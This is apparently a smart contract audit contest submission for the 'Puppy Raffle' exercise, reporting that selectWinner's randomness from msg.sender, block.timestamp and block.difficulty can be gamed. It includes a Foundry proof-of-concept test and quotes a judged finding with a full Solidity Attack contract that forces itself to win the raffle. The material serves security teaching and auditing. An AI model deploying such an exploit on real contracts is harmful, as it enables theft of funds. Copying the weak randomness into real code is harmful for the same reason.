Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

winner-and-rarity-randomness-can-be-manipulated-by-the-caller

zengsimin621

Root + Impact

Description

  • Winner selection and NFT rarity should be unpredictable and not controllable by the account that calls selectWinner.

  • selectWinner uses msg.sender, block.timestamp, and block.difficulty as randomness, allowing callers or searchers to choose transaction parameters that produce a desired winner or rarity.

function selectWinner() external {
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
}

Risk

Likelihood:

  • The raffle duration has elapsed and selectWinner can be called by any address.

  • A participant or searcher computes candidate caller addresses or transaction timing before submitting the draw transaction.

Impact:

  • The caller can bias or force the raffle winner.

  • The caller can bias NFT rarity assignment, breaking the stated random puppy distribution.

Proof of Concept

function test_PR003_callerCanChooseWinnerByChoosingCallingAddress() public {
enterFourPlayers();
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
address caller = findCallerForWinnerIndex(3);
vm.prank(caller);
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), playerFour);
}

Recommended Mitigation

-uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+// Request randomness from a verifiable randomness provider, or use a commit-reveal flow
+// where commitments are fixed before the draw and cannot be changed by the caller.
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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